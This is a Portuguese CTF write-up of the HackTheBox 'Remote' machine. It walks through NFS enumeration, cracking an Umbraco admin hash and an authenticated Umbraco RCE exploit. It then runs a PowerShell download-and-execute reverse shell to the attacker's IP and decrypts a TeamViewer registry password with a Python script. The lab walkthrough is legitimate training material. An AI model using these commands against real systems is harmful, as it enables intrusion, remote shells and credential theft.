> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md).

# Resolução da máquina Remote do HackTheBox

{% embed url="<https://app.hackthebox.com/machines/234>" %}

{% hint style="warning" %}
**Habilidades**:

* Enumeração Web
* Enumeração NFS - Showmount
* Vazamento de Informações
* Abusando do painel de administrador do Umbraco
* Umbraco CMS - Execução remota de código por administradores autenticados
* Obtendo a senha do TeamViewer a partir dos registros do sistema (AES128 - CBC) (Escalada de privilégio)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/c05b8c654ba72f91fdb21a5a66e7d7c943c07371" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/c9f4c195312edda7a0c922035fa24a4cece0a184" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**/ Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.180 -oG allPorts
```

<figure><img src="/files/b3d9f56962ffe60064d73e56dfd78453998deb8e" alt=""><figcaption></figcaption></figure>

**Análise das portas abertas com extractport:**/ Usando a função extractport para exibir de forma concisa as portas abertas e copiá-las para a área de transferência.

<figure><img src="/files/87fda05b6fe0abd22e0c535a2ebd4c3e50f4f761" alt=""><figcaption></figcaption></figure>

**Varredura de versão das portas com Nmap:**/ Use o Nmap para escanear as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680 10.10.10.180 -oN targeted
```

<figure><img src="/files/240a47f2997ed6ea17051f76cfeb720b5589d902" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d93599fdff6185d89869d73f59831389ba6c4733" alt=""><figcaption></figcaption></figure>

Para resolver nomes de domínio em endereços IP via DNS, o nome de domínio associado ao seu endereço IP é inserido no `/etc/hosts` arquivo

<figure><img src="/files/245211873a57937969555092cf5b23bb255849b6" alt="" width="563"><figcaption></figcaption></figure>

### Web (porta 80):

```bash
whatweb http://remote.htb
```

<div align="center" data-full-width="true"><figure><img src="/files/ecca96046095dde3b4e266811e9389cc2a121df7" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/09e78cb9943bbb8af9d2d09e9ff2c74e98e6a215" alt=""><figcaption></figcaption></figure>

### SMB - porta 445

Lista **SMB:**

```bash
crackmapexec smb 10.10.10.180
```

<div data-full-width="true"><figure><img src="/files/bf7e490f7c6e3fb0ee577b4b25b75b1cee7faba9" alt=""><figcaption></figcaption></figure></div>

### **Cliente SMB (sessão nula):**

```bash
smbclient -L 10.10.10.180 -N
```

<figure><img src="/files/031517b000dfb98d87127162eb4d2158d38762cc" alt=""><figcaption></figcaption></figure>

### FTP (21) anônimo

Temos a capacidade de nos conectar via FTP com o usuário anônimo, mas não podemos listar nem adicionar arquivos.

```bash
ftp 10.10.10.180

put test.txt
```

<figure><img src="/files/c2e18e63985e53839acd35715046e8742fcef646" alt=""><figcaption></figcaption></figure>

## Serviço NFS (porta 2049)

{% hint style="info" %}
O Network File System (NFS) é um protocolo de nível de aplicação do modelo OSI. Ele é usado para criar sistemas de arquivos distribuídos em uma rede local, permitindo que diferentes sistemas conectados acessem arquivos remotos como se fossem locais.
{% endhint %}

Para listar os arquivos com `mount`:

```bash
showmount -e 10.10.10.180
```

Vemos um `/site_backups` que pode ser visto por todos.

<figure><img src="/files/0cb4adb523e0b5f1a7ec3f748cd52f5c0cd05614" alt="" width="563"><figcaption></figcaption></figure>

Para importar este arquivo, você precisa criar um diretório e montá-lo em nossa máquina da seguinte forma:

```bash
mkdir /mnt/mounted_files

mount -t nfs 10.10.10.180:/site_backups /mnt/mounted_files
```

<figure><img src="/files/1a70d9c6c6e723c1edd96602d5ef3e878cd9815a" alt=""><figcaption></figcaption></figure>

Com `tree`, listaremos todas as pastas na estrutura para ter uma ideia:

```
tree -L 2
```

Vemos um `.config` configuração e `sdf` pasta do banco de dados do Umbraco (um CMS) da porta 80.

<figure><img src="/files/516b60f8c12a20fd4a02c9622205ab60b73feb29" alt=""><figcaption></figcaption></figure>

O `.conf` o arquivo não contém nada interessante, e o `umbraco.sdf` é um arquivo binário.

<figure><img src="/files/f501cc0be74e27ca1cb2fd8ba51fb3ddc82fc2ca" alt=""><figcaption></figcaption></figure>

Vamos usar `strings` para exibir os caracteres visíveis e colocá-los em nosso diretório para análise detalhada:

```bash
strings Umbraco.sdf > /home/jordan/Desktop/htb/remote/content/output
```

Encontramos senhas de "admin" e um usuário "smith".

<figure><img src="/files/b07ada74b16899c630328f8d0df238125eb368a6" alt=""><figcaption></figcaption></figure>

### Quebra de senhas:

Admin (hash): `b8be16afba8c314ad33d812f22a04991b90e2aaa`

{% embed url="<https://crackstation.net/>" %}

<figure><img src="/files/324091f0cb99bb834bbe1a7999e310a858ed8094" alt=""><figcaption></figcaption></figure>

Admin: `baconandcheese`

#### Como o SMB está exposto, use o CrackMapExec para autenticar e validar o acesso

```bash
crackmapexec smb 10.10.10.180 -u 'smith' -p 'baconandcheese'
crackmapexec smb 10.10.10.180 -u 'administrator' -p 'baconandcheese'
```

#### Sem efeito

<figure><img src="/files/ae3435d1cb928cb7f8253efc81ac535887a5daa2" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade RCE (Umbraco CMS)

Encontramos um painel de administração e vamos tentar a autenticação do usuário admin:

`admin@htb.local:baconandcheese`

<figure><img src="/files/fee2366cce8623ee18fcf8ef2bf8c868527a4c45" alt=""><figcaption></figcaption></figure>

Temos acesso.

<figure><img src="/files/ce97ac456779658fd85fc0b91b2f5097beaf8ba9" alt=""><figcaption></figcaption></figure>

Vamos procurar `Searchsploit` as vulnerabilidades deste CMS e encontrar um script NCE para o Umbraco.

<figure><img src="/files/bb2d1897637f9217aaee5b805d35297fe94af401" alt=""><figcaption></figcaption></figure>

`searchsploit -m aspx/webapps/46153.py`

Vamos alterar as configurações de login, senha e host no script.

<figure><img src="/files/67efd622c81c67be8e9f9ad98f4b75ef21c12ffb" alt="" width="563"><figcaption></figcaption></figure>

**Verifique a conectividade com ping:**/ Vamos executar este comando para o servidor, e vamos escutar com tcpdump

```bash
/c ping 10.10.14.6

tcpdump -i tun0 icmp
```

<figure><img src="/files/671fe62650085fdb3735986ca62b2d2bf49809e9" alt=""><figcaption></figcaption></figure>

Assim que virmos que podemos executar comandos, baixaremos o `PS.ps1` script para a nossa equipe.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

No final do script, adicionamos a seguinte linha:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444
```

<figure><img src="/files/2811844a7ea9a69dbdb718260c3f81507a5cbf7b" alt="" width="563"><figcaption></figcaption></figure>

Vamos criar um servidor web com o `PS.ps1` script:

```bash
python3 -m http.server 80
```

Em seguida, modificaremos o comando para apontar para o nosso servidor web:

{% code fullWidth="true" %}

```
/c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/')
```

{% endcode %}

Por fim, ouvimos na porta 4444:

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="/files/1926daa985ceffa62b6cd3a5afc6295d447cb8c2" alt=""><figcaption></figcaption></figure></div>

Acesso ao `user.txt` arquivo e descobrir que o TeamViewer está instalado

<figure><img src="/files/cfd080bd7fddfa11db4140b8d87b15ba34a9a31c" alt=""><figcaption></figcaption></figure>

## Escalada de privilégio:

Se você olhar as tarefas em execução, verá o TeamViewer versão 7.

```powershell
tasklist /svc
```

<figure><img src="/files/69c40d849bfb43f2fe11ebb00d4e42c3afcfc786" alt=""><figcaption></figcaption></figure>

Pesquisando os scripts do Metasploit, encontramos um que pode recuperar a senha do TeamViewer:

```powershell
locate teamviewer | grep metasploit
```

<figure><img src="/files/f0aa14da0e34d216c284e01b81daf513b434c3a8" alt=""><figcaption></figcaption></figure>

Ao analisar o script, primeiro você precisa obter a chave (dependendo da versão) no registro:

`HKLM/SOFTWARE/WOW6432Node/TeamViewer/Version7', 'Version`

Em seguida, as propriedades de segurança devem ser examinadas, especialmente a senha AES:

```powershell
cd HKLM:SOFTWARE/WOW6432Node/TeamViewer//Version7

(Get-ItemProperty .).SecurityPasswordAES
```

<figure><img src="/files/07a974a3ac63d6a6da780ec9fb43c15fcd610261" alt=""><figcaption></figcaption></figure>

Coloque os seguintes bytes em `ciphertext`:

`255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91`

### Script de automação em Python:

Aqui está o script que automatiza todo o processo:

```python
from itertools import product
from Crypto.Cipher import AES 
import Crypto.Cipher.AES

IV = b"/x01/x00/x01/x00/x67/x24/x4F/x43/x6E/x67/x62/xF2/x5E/xA8/xD7/x04"
key = b"/x06/x02/x00/x00/x00/xa4/x00/x00/x52/x53/x41/x31/x00/x04/x00/x00"


decipher = AES.new(key,AES.MODE_CBC,IV)
ciphertext = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91])


plaintext = decipher.decrypt(ciphertext).decode()
print(plaintext)
```

<figure><img src="/files/86591a1ede93f1691c1ffb0f4c5d07a2077ad7aa" alt=""><figcaption></figcaption></figure>

A senha é `!R3m0te!`.

Verificaremos com CrackMapExec se a senha está correta para o usuário `Administrator`:

```bash
crackmapexec smb 10.10.10.180 -u 'Administrator' -p '!R3m0te!'
```

<figure><img src="/files/aac9eba32dddeb5f2b792f8f78555bef3caf9fb9" alt=""><figcaption></figcaption></figure>

Conectamo-nos com Evil-WinRM, pois o serviço remoto de administração do Windows está ativo na porta 5985:

<pre class="language-bash"><code class="lang-bash"><strong>evil-winrm -i 10.10.10.180 -u 'Administrator' -p '!R3m0te!'
</strong></code></pre>

<figure><img src="/files/ab37bad257ace325082508c37bd1291586ef6a16" alt=""><figcaption></figcaption></figure>

### Flag root final :)

<figure><img src="/files/99baca6a4b557c0eb65552634dbfee90e6cc8f64" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a66c8b1aa73c933b9df341d9867d8d0b49038585" alt="" width="529"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
